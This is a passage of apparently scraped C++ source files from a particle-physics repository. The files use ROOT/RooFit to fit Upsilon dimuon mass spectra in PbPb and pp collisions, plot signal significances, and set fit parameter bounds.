decay.frame(Bins(100),Range(decay.getVal()-decay.getError(),decay.getVal()+decay.getError())) ;\n nll->plotOn(frame_decay,ShiftToZero()) ;\n frame_decay->SetMinimum(0);\n frame_decay->SetMaximum(4);\n frame_decay->Draw();\n cParamScan.cd(3);\n RooPlot* frame_turnOn = turnOn.frame(Bins(100),Range(turnOn.getVal()-turnOn.getError(),turnOn.getVal()+turnOn.getError())) ;\n nll->plotOn(frame_turnOn,ShiftToZero());\n frame_turnOn->SetMinimum(0);\n frame_turnOn->SetMaximum(4);\n frame_turnOn->Draw();\n cParamScan.cd(4);\n RooPlot* frame_mean = mean->frame(Bins(100),Range(mean->getVal()-2*(mean->getError()),mean->getVal()+2*(mean->getError()))) ;\n nll->plotOn(frame_mean,ShiftToZero());\n frame_mean->SetMinimum(0);\n frame_mean->SetMaximum(4);\n frame_mean->Draw();\n cParamScan.cd(5);\n RooPlot* frame_fraction = sigmaFraction->frame(Bins(100),Range(sigmaFraction->getVal()-2*(sigmaFraction->getError()),sigmaFraction->getVal()+2*(sigmaFraction->getError()))) ;\n nll->plotOn(frame_fraction,ShiftToZero()) ;\n frame_fraction->SetMinimum(0);\n frame_fraction->SetMaximum(4);\n frame_fraction->Draw();\n cParamScan.cd(6);\n RooPlot* frame_ScaleGaus = scaleWidth->frame(Bins(100),Range(scaleWidth->getVal()-2*(scaleWidth->getError()),scaleWidth->getVal()+2*(scaleWidth->getError()))) ;\n nll->plotOn(frame_ScaleGaus,ShiftToZero()) ;\n frame_ScaleGaus->SetMinimum(0);\n frame_ScaleGaus->SetMaximum(4);\n // RooAbsReal* pll_Scale = nll->createProfile(Scale) ;\n // pll_Scale->plotOn(frame_Scale,LineColor(kRed)) ;\n frame_ScaleGaus->Draw();\n cParamScan.cd(7);\n RooPlot* frame_npow = npow->frame(Bins(100),Range(npow->getVal()-2*(npow->getError()),npow->getVal()+2*(npow->getError()))) ;\n nll->plotOn(frame_npow,ShiftToZero()) ;\n frame_npow->SetMinimum(0);\n frame_npow->SetMaximum(4);\n frame_npow->Draw();\n cParamScan.cd(8);\n RooPlot* frame_alpha = alpha->frame(Bins(100),Range(alpha->getVal()-2*(alpha->getError()),alpha->getVal()+2*(alpha->getError()))) ;\n nll->plotOn(frame_alpha,ShiftToZero()) ;\n frame_alpha->SetMinimum(0);\n frame_alpha->SetMaximum(4);\n frame_alpha->Draw();\n cParamScan.cd(9);\n RooPlot* frame_sigma1 = sigma1->frame(Bins(100),Range(sigma1->getVal()-2*sigma1->getError(),sigma1->getVal()+2*sigma1->getError()));\n nll->plotOn(frame_sigma1,ShiftToZero()) ;\n frame_sigma1->SetMinimum(0);\n frame_sigma1->SetMaximum(4);\n frame_sigma1->Draw();\n if(bkgdModel!=3){ cParamScan.SaveAs(outFigDir+\"/\"+figname_+\"_\"+bkgSuffix+\"_Scan.pdf\");}\n else{ cParamScan.SaveAs(outFigDir+\"/\"+figname_+\"_Scan.pdf\");}\n }\n }\n\n switch(chooseFitParams) {\n case 0:\n cout <<\"special case!\"<<endl;\n outfileFitResults<<figname_<<\" \"<<nsig1f->getVal()<<\" \"<<nsig1f->getError()<<\" \"<<nsig2f->getVal()<<\" \"<<nsig2f->getError()<<\" \"<<nsig3f->getVal()<<\" \"<<nsig3f->getError()<<\" \"<<npow->getVal()<<\" \"<<npow->getError()<<\" \"<<alpha->getVal()<<\" \"<<alpha->getError()<<\" \"<<sigma1->getVal()<<\" \"<<sigma1->getError()<<\" \"<<scaleWidth->getVal()<<\" \"<<scaleWidth->getError()<<\" \"<<sigmaFraction->getVal()<<\" \"<< sigmaFraction->getError()<<\" \"<<(mean->getVal())-M1S<<\" \"<<mean->getError()<<\" ,signif= \"<<nsig1f->getVal()/nsig1f->getError()<<\" \"<<baseNll<< endl;\n // <<2*nFitParam+2*baseNll<<\" \"<<fit_2nd->edm()<<\" \"<<UnNormChi2<<\" \"<<UnNormChi2/Dof<<\" \"<<TMath::Prob(UnNormChi2,Dof)<<\" \"<<Dof<<\" \"<<nFitParam<<\" \"\n // <<rat2->getVal()<<\" \"<<rat2->getError()<<\" \"<<rat3->getVal()<<\" \"<<rat3->getError()<<\" \"\n break;\n case 1 :\n cout << \"option needs fixing.\" << endl;\n outfileFitResults<<figname_<<\" \"<<nsig1f->getVal()<<\" \"<<nsig1f->getError()<<\" \"<<f2Svs1S->getVal()<<\" \"<<f2Svs1S->getError()<<\" \"<<f3Svs1S->getVal()<<\" \"<<f3Svs1S->getError()<<\" \"<<npow->getVal()<<\" \"<<npow->getError()<<\" \"<<alpha->getVal()<<\" \"<<alpha->getError()<<\" \"<<sigma1->getVal()<<\" \"<<sigma1->getError()<<\" \"<<scaleWidth->getVal()<<\" \"<<scaleWidth->getError()<<\" \"<<sigmaFraction->getVal()<<\" \"<< sigmaFraction->getError()<<\" \"<<(mean->getVal())-M1S<<\" \"<<mean->getError()<<\" ,signif= \"<<nsig1f->getVal()/nsig1f->getError()<<\" \"<<baseNll<< endl;\n //<<2*nFitParam+2*baseNll<<\" \"<<fit_2nd->edm()<<\" \"<<UnNormChi2<<\" \"<<UnNormChi2/Dof<<\" \"<<TMath::Prob(UnNormChi2,Dof)<<\" \"<<Dof<<\" \"<<nFitParam<<\" \"\n break;\n case 2 :\n cout << \"option needs fixing.\" << endl;\n outfileFitResults<<figname_<<\" \"<<nsig1f->getVal()<<\" \"<<nsig1f->getError()<<\" \"<<f2Svs1S->getVal()<<\" \"<<f2Svs1S->getError()<<\" \"<<f23vs1S->getVal()<<\" \"<<f23vs1S->getError()<<\" \"<<npow->getVal()<<\" \"<<npow->getError()<<\" \"<<alpha->getVal()<<\" \"<<alpha->getError()<<\" \"<<sigma1->getVal()<<\" \"<<sigma1->getError()<<\" \"<<scaleWidth->getVal()<<\" \"<<scaleWidth->getError()<<\" \"<<sigmaFraction->getVal()<<\" \"<< sigmaFraction->getError()<<\" \"<<(mean->getVal())-M1S<<\" \"<<mean->getError()<<\" ,signif= \"<<nsig1f->getVal()/nsig1f->getError()<<\" \"<<baseNll<< endl;\n //<<2*nFitParam+2*baseNll<<\" \"<<fit_2nd->edm()<<\" \"<<UnNormChi2<<\" \"<<UnNormChi2/Dof<<\" \"<<TMath::Prob(UnNormChi2,Dof)<<\" \"<<Dof<<\" \"<<nFitParam<<\" \"\n break;\n case 3 :\n cout << \"option needs fixing.\" << endl;\n outfileFitResults<<figname_<<\" \"<<nsig1f->getVal()<<\" \"<<nsig1f->getError()<<\" \"<<f2Svs1S->getVal()<<\" \"<<f2Svs1S->getError()<<\" \"<<f3Svs1S->getVal()<<\" \"<<f3Svs1S->getError()<<\" \"<<f3Svs2S->getVal()<<\" \"<<f3Svs2S->getError()<<\" \"<<alpha->getVal()<<\" \"<<alpha->getError()<<\" \"<<sigma1->getVal()<<\" \"<<sigma1->getError()<<\" \"<<scaleWidth->getVal()<<\" \"<<scaleWidth->getError()<<\" \"<<sigmaFraction->getVal()<<\" \"<< sigmaFraction->getError()<<\" \"<<(mean->getVal())-M1S<<\" \"<<mean->getError()<<\" ,signif= \"<<nsig1f->getVal()/nsig1f->getError()<<\" \"<<baseNll<< endl;\n //<<2*nFitParam+2*baseNll<<\" \"<<fit_2nd->edm()<<\" \"<<UnNormChi2<<\" \"<<UnNormChi2/Dof<<\" \"<<TMath::Prob(UnNormChi2,Dof)<<\" \"<<Dof<<\" \"<<nFitParam<<\" \"\n break;\n default : break;\n }\n outfileFitResults.close();\n if(bkgdModel!=3){ w.SaveAs(outDatDir+\"/ws_\"+figname_+\"_\"+bkgSuffix+\".root\");}\n else { w.SaveAs(outDatDir+\"/ws_\"+figname_+\".root\");}\n}\n\n#endif // #ifndef fitAndDraw_C\n" }, { "alpha_fraction": 0.5295358896255493, "alphanum_fraction": 0.6717902421951294, "avg_line_length": 60.44444274902344, "blob_id": "5ba30a1a061471500f02218c34857721d1528c1e", "content_id": "fbf10c40eee326edbb2c58bedc5b2934b12a452f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3318, "license_type": "no_license", "max_line_length": 171, "num_lines": 54, "path": "/plotting/PlotSignificances.cpp", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "#include \"InitCanvases.cpp\"\n#include \"data_signif.h\"\n#include \"data_raa.h\"\n//#include \"BinnedRAA.cpp\"\nvoid PlotSignificances(int s,int pp,int pbpb,bool pt,bool rap ){\n cout << \"hola, welcome to PlotSignificances!\" << endl; \n TCanvas c1; \n InitCanvases(c1,pt,rap);\n if(pt){\n TGraphErrors *g3p53p5; g3p53p5 = ploTGraphErrors(s,nPtBins_2014,pt15,aa_1S_3p5_3p5_pt,pt15e,0,0,0,1); //pt15 is the one with high pt bin added (20-40)\n TGraphErrors *g3p54; g3p54 = ploTGraphErrors(s,nPtBins_2014,pt15,aa_1S_3p5_4_pt,pt15e,0,0,0,2); //pt15 is the one with high pt bin added (20-40)\n TGraphErrors *g44; g44 = ploTGraphErrors(s,nPtBins_2014,pt15,aa_1S_4_4_pt,pt15e,0,0,0,4);\n\n TGraphErrors *gpp3p53p5; gpp3p53p5 = ploTGraphErrors(s,nPtBins_2014,pt15,pp_1S_3p5_3p5_pt,pt15e,0,0,0,11); //pt15 is the one with high pt bin added (20-40)\n TGraphErrors *gpp3p54; gpp3p54 = ploTGraphErrors(s,nPtBins_2014,pt15,pp_1S_3p5_4_pt,pt15e,0,0,0,12); //pt15 is the one with high pt bin added (20-40)\n TGraphErrors *gpp44; gpp44 = ploTGraphErrors(s,nPtBins_2014,pt15,pp_1S_4_4_pt,pt15e,0,0,0,14);\n }\n if(rap){\n TGraphErrors *g3p53p5; g3p53p5 = ploTGraphErrors(s,nRapBins_2014,rap2014,aa_1S_3p5_3p5_rap,rap2014e,0,0,0,1); //rap2014 is the one with high pt bin added (20-40)\n TGraphErrors *g3p54; g3p54 = ploTGraphErrors(s,nRapBins_2014,rap2014,aa_1S_3p5_4_rap,rap2014e,0,0,0,2); //pt15 is the one with high rap bin added (20-40)\n TGraphErrors *g44; g44 = ploTGraphErrors(s,nRapBins_2014,rap2014,aa_1S_4_4_rap,rap2014e,0,0,0,4);\n \n TGraphErrors *gpp3p53p5; gpp3p53p5 = ploTGraphErrors(s,nRapBins_2014,rap2014,pp_1S_3p5_3p5_rap,rap2014e,0,0,0,11); //rap2014 is the one with high rap bin added (20-40)\n TGraphErrors *gpp3p54; gpp3p54 = ploTGraphErrors(s,nRapBins_2014,rap2014,pp_1S_3p5_4_rap,rap2014e,0,0,0,12); //rap2014 is the one with high rap bin added (20-40)\n TGraphErrors *gpp44; gpp44 = ploTGraphErrors(s,nRapBins_2014,rap2014,pp_1S_4_4_rap,rap2014e,0,0,0,14);\n }\n //pt15 is the one with high pt bin added (20-40)\n // g3p54p5.SetMarkerColor(kGreen+3);\n // ploTGraphErrors(s,nPtBins_2014,pt15,aa_1S_3p5_3p5_pt,pt15e,0,0,0); //pt15 is the one with high pt bin added (20-40)\n legup = new TLegend(0.45,0.8,0.93,0.95);\n legup->SetFillStyle(0);\n legup->SetFillColor(0);\n legup->SetBorderSize(0);\n legup->SetTextFont(42);\n legup->SetTextSize(0.03);\n legup->SetHeader(\"Significance = #Upsilon(1S)/err(#Upsilon(1S))\");\n legup->AddEntry(gpp3p53p5,\"pp - p_{T}(#mu_{1},#mu_{2}) > 3.5, 3.5 GeV/c\",\"p\");\n legup->AddEntry(gpp3p54,\"pp - p_{T}(#mu_{1},#mu_{2}) > 3.5, 4 GeV/c\",\"p\");\n legup->AddEntry(gpp44,\"pp - p_{T}(#mu_{1},#mu_{2}) > 4 GeV/c\",\"p\");\n legup->Draw();\n legdown = new TLegend(0.25,0.15,0.7,0.3);\n legdown->SetFillStyle(0);\n legdown->SetFillColor(0);\n legdown->SetBorderSize(0);\n legdown->SetTextFont(42);\n legdown->SetTextSize(0.03);\n legdown->SetHeader(\"Significance = #Upsilon(1S)/err(#Upsilon(1S))\");\n legdown->AddEntry(g3p53p5,\"AA - p_{T}(#mu_{1},#mu_{2}) > 3.5, 3.5 GeV/c\",\"p\");\n legdown->AddEntry(g3p54,\"AA - p_{T}(#mu_{1},#mu_{2}) > 3.5, 4 GeV/c\",\"p\");\n legdown->AddEntry(g44,\"AA - p_{T}(#mu_{1},#mu_{2}) > 4 GeV/c\",\"p\");\n legdown->Draw();\n c1.Update();\n c1.SaveAs(Form(\"~/Desktop/signif_pp%d_pbpb%d_pt%d_rap%d.pdf\",pp,pbpb,(int)pt,(int)rap));\n}\n" }, { "alpha_fraction": 0.7599729299545288, "alphanum_fraction": 0.7795807719230652, "avg_line_length": 72.94999694824219, "blob_id": "5b83737679f982779e30c503dc84780eb1f266a5", "content_id": "5bd4d662f7573da29a3368e126b36ce33dff6209", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1479, "license_type": "no_license", "max_line_length": 284, "num_lines": 20, "path": "/fitting/allFunctions.h", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "#ifndef allFunctions_h\n#define allFunctions_h\n\n#include <iostream.h>\nconst double mass_l = 7.5;\nconst double mass_h = 14.0;\nconst double binw = 0.1; //bin width of the histogram\nconst double M1S = 9.460; //upsilon 1S pgd mass value\nconst double M2S = 10.023; //upsilon 2S pgd mass value\nconst double M3S = 10.355; //upsilon 3S pgd mass value\nRooWorkspace makeWorkspace(RooWorkspace& w, int chooseSample ,float muonEtaMin, float muonEtaMax , float muonPtMin, float muonPtMax , float upsRapStart, float upsRapEnd, float upsPtStart, float upsPtEnd, int upsCentralityStart, int upsCentralityEnd);\nvoid buildModel(RooWorkspace& w,int chooseFitParams, int chooseSample, int whatBin, int signalModel, int bkgModel, int doRap, int doPt,int doCent,int useRef,float muonPtMin,int fsr);\n//int whatBin(float upsPtMin, float upsPtMax, float upsRapMin, float upsRapMax, int centStart, int centEnd, int doRap,int doPt, int doCent);\nvoid fitAndDraw(RooWorkspace& w, int chooseSample, TString fname, TString datDir , TString figDir, int fitparams, int bkgModel,float muonPt1, float muonPt2,int centMin, int centMax, float upsPtStart, float upsPtEnd, float upsRapStart, float upsRapEnd,int doRap, int doPt,int doCent);\npair<double, double> ConfidencInterval(float CI, RooRealVar *fnll, RooDataSet *data, RooAbsPdf *pdf);\ndouble computeSingleError(RooRealVar& x, RooRealVar& y, double correlation );\ndouble computeSingle(RooRealVar& x, RooRealVar& y);\n\n\n#endif // #ifndef allFunctions_h\n" }, { "alpha_fraction": 0.260869562625885, "alphanum_fraction": 0.5652173757553101, "avg_line_length": 45.79166793823242, "blob_id": "e9d78d501c495a430a0f7befff77db843e4e8e28", "content_id": "5ce436bc896f409197e954b534f8f3b4b122f48f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2254, "license_type": "no_license", "max_line_length": 88, "num_lines": 48, "path": "/fitting/bkgTableFSR.h", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "\n\nif(samstart==6){\n // for pbpb!\n float turnOn_minPt[10]={0,0,0,1.4,3,0,0,1.5,0,0};\n float width_minPt[10]= {0.2,0.2,0.7,3.2,7,2.51,0.6,0.,5,0.8};\n float decay_minPt[10]= {0,0,0,6,0,0,0,0,0,0};\n float turnOn_maxPt[10]={8.6,8.5,9,2.8,9,9,9,8.9,5,8.6};\n float width_maxPt[10]= {3.,9.,9,7.2,18,9,15,6,50,7.};\n float decay_maxPt[10]= {8.,8.,8,9.,25,10,10,14,35,10.};\n //pt4\n float turnOn_minPt[10]={0,0,0,1.4,3,0,0,1.5,0,0};\n float width_minPt[10]= {0.2,0.2,0.7,3.2,7,2.51,0.6,0.,5,0.8};\n float decay_minPt[10]= {0,0,0,6,0,0,0,0,0,0};\n float turnOn_maxPt[10]={9.2,9,9,2.8,9,9,9,8.9,5,8.6};\n float width_maxPt[10]= {3.,9.3,9,7.2,18,9,15,6,50,7.};\n float decay_maxPt[10]= {8.,12.5,8,9.,25,10,10,14,35,10.};\n }\nif(samstart==7){\n // for pp!\n float turnOn_minPt[10]={0,0,0,1.4,3,1,0,1.5,0,0};\n float width_minPt[10]= {0.4,0.2,0.7,3.2,7,2.51,0.6,0.,4,0.8};\n float decay_minPt[10]= {0,0,0,6,0,0,0,0,0,0};\n float turnOn_maxPt[10]={8.6,8.5,8,4,9,9,9,8.9,5,8.7};\n float width_maxPt[10]= {3.,9.,7.5,7.2,18,9,15,6,50,7.};\n float decay_maxPt[10]= {8.,8.,9,9.,25,10,10,14,35,10.};\n\n float turnOn_minRap[9]={0,0,0,0,0,0,0,1.5,0.5};\n float width_minRap[9]= {0.2,0.2,0.2,0.2,0.2,0.2,0.6,1.2,0.4};\n float decay_minRap[9]= {0,0,0,0,0,0,0,0,0};\n float turnOn_maxRap[9]={8.6,8.5,8.8,8.8,8.8,8.8,8.8,8.8,8.8};\n float width_maxRap[9]= {3.,9.,9,9,9,9,15,6,20};\n float decay_maxRap[9]= {13.,10.,10,8,8,10,13,14,8};\n }\n\n float turnOn_minCent[13]={0,0,0,0,0,0,0,1.5,0.5,0,0,0,0};\n float width_minCent[13]= {0.2,0.2,1,1,1,1.5,0.6,0.8,0.,0.8,0.8,0.8,0.8};\n float decay_minCent[13]= {0,0,0,0,0,0,0,0,0,0,0,0,0};\n float turnOn_maxCent[13]={8,8.5,8.5,8.5,8.5,8.5,9,8,8.6,8.6,8.6,8.6,8.6};\n float width_maxCent[13]= {8.,9.,9,9,9,9,15,6,6,8.,6.,7,8};\n float decay_maxCent[13]= {12.,8.,8,8,8,10,10,14,25,10.,8.,8,8};\n\nfloat npow_min[13]={1,1,1,1.01,1.01,1.01,1,1,1,1,1,1,1};\nfloat alpha_min[13]= {0.05,0.05,0.05,0.05,0.05,0.05,0.05,0.05,0.05,0.05,0.05,0.05,0.05};\nfloat sigma_min[13]= {0.02,0.02,0.02,0.02,0.02,0.02,0.02,0.02,0.02,0.02,0.02,0.02,0.02};\n\n\nfloat npow_max[13]={55,55,55,12,12,6,55,55,55,55,55,55,55};\nfloat alpha_max[13]= {10.,10.,10,10,10,10,5,20,7,10,10,10,10};\nfloat sigma_max[13]= {0.3,0.3,0.3,0.3,0.3,0.3,0.3,0.3,0.3,0.3,0.3,0.3,0.3};\n \n \n" }, { "alpha_fraction": 0.58172607421875, "alphanum_fraction": 0.612830638885498, "avg_line_length": 45.10141372680664, "blob_id": "314efad2dc8e32f70dfe706e3999ccf4d9965e30", "content_id": "f135f8f371739f498c0b77080cca523d2071553a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 19547, "license_type": "no_license", "max_line_length": 186, "num_lines": 424, "path": "/fitting/buildModel.C", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "void buildModel(RooWorkspace& w,int chooseFitParams, int chooseSample,int whatBin, int signalModel, int bkgdModel, int doRap, int doPt,int doCent,int useRef,float muonPtMin, int fixFSR){\n// C r e a t e m o d e l \n int nt=100000;\n // cout << \"you're building a model for the quarkonium resonance of mass = \"<< M1S <<\" GeV/c^{2},\"endl;\n RooRealVar *nsig1f = new RooRealVar(\"N_{ #varUpsilon(1S)}\",\"nsig1S\",0,nt*10);\n RooRealVar* mass = new RooRealVar(\"invariantMass\",\"#mu#mu mass\",mass_l,mass_h,\"GeV/c^{2}\");\n switch (chooseFitParams)\n {\n case 0://use the YIELDs of 2S and 3S as free parameters\n //minor modif here: 3S forced positive.\n RooRealVar *nsig2f = new RooRealVar(\"N_{ #varUpsilon(2S)}\",\"nsig2S\", nt*0.25,-200,10*nt);\n RooRealVar *nsig3f = new RooRealVar(\"N_{ #varUpsilon(3S)}\",\"nsig3S\", nt*0.25,-200,10*nt);\n cout << \"you're fitting to extract yields, \"<< endl;\n break;\n case 1: //use the RATIOs of 2S and 3S as free parameters\n RooRealVar *f2Svs1S = new RooRealVar(\"R_{#frac{2S}{1S}}\",\"f2Svs1S\",0.26,-0.1,1.0);\n RooRealVar *f3Svs1S = new RooRealVar(\"R_{#frac{3S}{1S}}\",\"f3Svs1S\",0.13,-0.1,1.0);\n RooFormulaVar *nsig2f = new RooFormulaVar(\"N_{ #varUpsilon(2S)}\",\"@0*@1\", RooArgList(*nsig1f,*f2Svs1S));\n RooFormulaVar *nsig3f = new RooFormulaVar(\"N_{ #varUpsilon(3S)}\",\"@0*@1\", RooArgList(*nsig1f,*f3Svs1S));\n f2Svs1S->setConstant(kFALSE);\n f3Svs1S->setConstant(kFALSE);\n cout << \"you're fitting to extract RATIOs of 2S and 3S as free parameters, \"<< endl;\n break;\n case 2:// do (2s+3s)/1s\n RooRealVar *f2Svs1S = new RooRealVar(\"R_{#frac{2S}{1S}}\",\"f2Svs1S\",0.26,-0.1,1.0);\n RooRealVar *f23vs1S = new RooRealVar(\"R_{#frac{2S+3S}{1S}}\",\"f23vs1S\",0.45,-0.1,1);\n RooFormulaVar *nsig2f = new RooFormulaVar(\"N_{ #varUpsilon(2S)}\",\"@0*@1\", RooArgList(*nsig1f,*f2Svs1S));\n RooFormulaVar *nsig3f = new RooFormulaVar(\"N_{ #varUpsilon(3S)}\",\"@0*@2-@0*@1\", \n \t\t\t\t\t\tRooArgList(*nsig1f,*f2Svs1S,*f23vs1S));\n cout << \"you're fitting to extract (2s+3s)/1s,\"<< endl;\n break;\n case 3://do 2s/1s, 3s/1s, 3s/2s\n RooRealVar *f2Svs1S = new RooRealVar(\"R_{#frac{2S}{1S}}\",\"f2Svs1S\",0.26,-0.1,1.0);\n RooRealVar *f3Svs1S = new RooRealVar(\"R_{#frac{3S}{1S}}\",\"f3Svs1S\",0.13,-0.1,1.0);\n RooFormulaVar *nsig2f = new RooFormulaVar(\"N_{ #varUpsilon(2S)}\",\"@0*@1\", RooArgList(*nsig1f,*f2Svs1S));\n // RooFormulaVar *nsig3f = new RooFormulaVar(\"N3S\",\"@0*@1\", RooArgList(*nsig1f,*f3Svs1S));\n RooRealVar *f3Svs2S = new RooRealVar(\"R_{#frac{3S}{2S}}\",\"f3Svs2S\",0.5,-1,1);\n RooFormulaVar *nsig3f= new RooFormulaVar(\"N32S\",\"@0/@1\",RooArgList(*f3Svs1S,*f2Svs1S));\n f2Svs1S->setConstant(kFALSE);\n f3Svs1S->setConstant(kFALSE);\n cout << \"you're fitting to extract 2s/1s, 3s/1s, 3s/2s, which may be worth checking...\"<< endl;\n break;\n default:\n cout<<\"Make a pick from chooseFitParams!!!\"<<endl;\n break;\n } \n\n RooRealVar *mean = new RooRealVar(\"m_{ #varUpsilon(1S)}\",\"#Upsilon mean\",M1S,M1S-0.2,M1S+0.2);\n RooConstVar *rat2 = new RooConstVar(\"rat2\", \"rat2\", M2S/M1S);\n RooConstVar *rat3 = new RooConstVar(\"rat3\", \"rat3\", M3S/M1S);\n // scale mean and resolution by mass ratio\n RooFormulaVar *mean1S = new RooFormulaVar(\"mean1S\",\"@0\",RooArgList(*mean));\n RooFormulaVar *mean2S = new RooFormulaVar(\"mean2S\",\"@0*@1\", RooArgList(*mean,*rat2));\n RooFormulaVar *mean3S = new RooFormulaVar(\"mean3S\",\"@0*@1\", RooArgList(*mean,*rat3));\n\n // //detector resolution ?? where is this coming from?\n RooRealVar *sigma1 = new RooRealVar(\"#sigma_{CB1}\",\"#sigma_{CB1}\",sigma_min[whatBin],sigma_max[whatBin]); // \n RooFormulaVar *sigma1S = new RooFormulaVar(\"sigma1S\",\"@0\" ,RooArgList(*sigma1));\n RooFormulaVar *sigma2S = new RooFormulaVar(\"sigma2S\",\"@0*@1\",RooArgList(*sigma1,*rat2));\n RooFormulaVar *sigma3S = new RooFormulaVar(\"sigma3S\",\"@0*@1\",RooArgList(*sigma1,*rat3));\n RooRealVar *alpha = new RooRealVar(\"#alpha_{CB}\",\"tail shift\",alpha_min[whatBin],alpha_max[whatBin]); // MC 5tev 1S pol2 \n RooRealVar *npow = new RooRealVar(\"n_{CB}\",\"power order\",npow_min[whatBin],npow_max[whatBin]); // MC 5tev 1S pol2 \n RooRealVar *sigmaFraction = new RooRealVar(\"sigmaFraction\",\"Sigma Fraction\",0.,1.);\n // scale the sigmaGaus with sigma1S*scale=sigmaGaus now.\n RooRealVar *scaleWidth = new RooRealVar(\"#sigma_{CB2}/#sigma_{CB1}\",\"scaleWidth\",1.,2.5);\n RooFormulaVar *sigmaGaus = new RooFormulaVar(\"sigmaGaus\",\"@0*@1\", RooArgList(*sigma1,*scaleWidth));\n RooFormulaVar *sigmaGaus2 = new RooFormulaVar(\"sigmaGaus\",\"@0*@1*@2\", RooArgList(*sigma1,*scaleWidth,*rat2));\n RooFormulaVar *sigmaGaus3 = new RooFormulaVar(\"sigmaGaus\",\"@0*@1*@2\", RooArgList(*sigma1,*scaleWidth,*rat3));\n RooGaussian* gauss1 = new RooGaussian(\"gaus1s\",\"gaus1s\",\n \t\t\t\t\t *nsig1f,\n \t\t\t\t\t *mass, //mean\n \t\t\t\t\t *sigmaGaus); //sigma\n // RooGaussian* gauss1b = new RooGaussian(\"gaus1sb\",\"gaus1sb\",\n // \t\t\t\t\t *nsig1f,\n // \t\t\t\t\t *m, //mean\n // \t\t\t\t\t *sigma1); //sigma\n switch(signalModel){ \n case 1: //crystal boule\n\tRooCBShape *sig1S = new RooCBShape (\"cb1S_1\", \"FSR cb 1s\",\n\t\t\t\t\t *mass,*mean1S,*sigma1,*alpha,*npow);\n\n\tRooCBShape *sig2S = new RooCBShape (\"cb2S_1\", \"FSR cb 1s\",\n\t\t\t\t\t *mass,*mean2S,*sigma2S,*alpha,*npow);\n\tRooCBShape *sig3S = new RooCBShape (\"cb3S_1\", \"FSR cb 1s\",\n\t\t\t\t\t *mass,*mean3S,*sigma3S,*alpha,*npow);\n\tcout << \"you're fitting each signal peak with a Crystal Ball function\"<< endl;\n\tbreak;\n case 2: //Gaussein\n\tRooAbsPdf *sig1S = new RooGaussian (\"g1\", \"gaus 1s\",\n\t\t\t\t\t\t *mass,*mean1S,*sigma1);\n\tcout << \"you're fitting 1 signal peak with a Gaussian function\"<< endl;\n\tbreak;\n case 3: //Gaussein + crystal boule\n\tRooCBShape *cb1S_1 = new RooCBShape (\"cb1S_1\", \"FSR cb 1s\",\n\t\t\t\t\t\t *mass,*mean1S,*sigma1,*alpha,*npow);\n\tRooAddPdf *sig1S = new RooAddPdf (\"cbg\", \"cbgaus 1s\",\n\t\t\t\t\t\tRooArgList(*gauss1,*cb1S_1),*sigmaFraction);\n\tcout << \"you're fitting 1 signal peak with a sum of a Gaussian and a Crystal Ball function\"<< endl;\n\tbreak;\n case 4: //crystal boules\n\tRooCBShape *cb1S_1 = new RooCBShape (\"cb1S_1\", \"FSR cb 1s\",\n\t\t\t\t\t\t *mass,*mean1S,*sigma1,*alpha,*npow);\n \n\tRooCBShape *cb1S_2 = new RooCBShape (\"cb1S_2\", \"FSR cb 1s\",\n\t\t\t\t\t\t *mass,*mean1S,*sigmaGaus,*alpha,*npow);\n\tRooAddPdf *sig1S = new RooAddPdf (\"cbcb\",\"1S mass pdf\",\n\t\t\t\t\t\t RooArgList(*cb1S_1,*cb1S_2),*sigmaFraction);\n\t// /// Upsilon 2S\n\tRooCBShape *cb2S_1 = new RooCBShape (\"cb2S_1\", \"FSR cb 2s\", \n\t\t\t\t\t\t *mass,*mean2S,*sigma2S,*alpha,*npow); \n\tRooCBShape *cb2S_2 = new RooCBShape (\"cb2S_2\", \"FSR cb 2s\", \n\t\t\t\t\t\t *mass,*mean2S,*sigmaGaus2,*alpha,*npow); \n\tRooAddPdf *sig2S = new RooAddPdf (\"sig2S\",\"2S mass pdf\",\n\t\t\t\t\t\t RooArgList(*cb2S_1,*cb2S_2),*sigmaFraction);\n \n\t// /// Upsilon 3S\n\tRooCBShape *cb3S_1 = new RooCBShape (\"cb3S_1\", \"FSR cb 3s\", \n\t\t\t\t\t\t *mass,*mean3S,*sigma3S,*alpha,*npow); \n\tRooCBShape *cb3S_2 = new RooCBShape (\"cb3S_2\", \"FSR cb 3s\", \n\t\t\t\t\t\t *mass,*mean3S,*sigmaGaus3,*alpha,*npow); \n\tRooAddPdf *sig3S = new RooAddPdf (\"sig3S\",\"3S mass pdf\",\n\t\t\t\t\t\t RooArgList(*cb3S_1,*cb3S_2),*sigmaFraction); // = cb3S1*sigmaFrac + cb3S2*(1-sigmaFrac)\n\tcout << \"you're fitting each signal peak with a Double Crystal Ball function\"<< endl;\n\tbreak;\n \n case 5: //deux Gausseins\n\tRooAddPdf *sig1S = new RooAddPdf (\"cb1S_1\", \"cbgaus 1s\",\n\t\t\t\t\t\tRooArgList(*gauss1,*gauss1b),*sigmaFraction);\n\tcout << \"you're fitting each signal peak with a Double Gaussian function\"<< endl;\n\tbreak;\n }\n // bkg Chebychev\n RooRealVar *nbkgd = new RooRealVar(\"n_{Bkgd}\",\"nbkgd\",0,nt);\n RooRealVar *bkg_a1 = new RooRealVar(\"a1_bkg\", \"bkg_{a1}\", 0, -5, 5);\n RooRealVar *bkg_a2 = new RooRealVar(\"a2_Bkg\", \"bkg_{a2}\", 0, -2, 2);\n RooRealVar *bkg_a3 = new RooRealVar(\"a3_Bkg\", \"bkg_{a3}\", 0, -0.9, 2);\n\n // likesign\n RooRealVar *nLikesignbkgd = new RooRealVar(\"NLikesignBkg\",\"nlikesignbkgd\",nt*0.75,0,10*nt);\n // *************************************************** bkgModel\n \n RooRealVar turnOn(\"turnOn\",\"turnOn\", turnOn_minCent[whatBin],turnOn_maxCent[whatBin]);\n RooRealVar width(\"width\",\"width\",width_minCent[whatBin],width_maxCent[whatBin]);// MB 2.63\n RooRealVar decay(\"decay\",\"decay\",decay_minCent[whatBin],decay_maxCent[whatBin]);// MB: 3.39\n if (doRap && !doPt)\n\t{\n\t RooRealVar 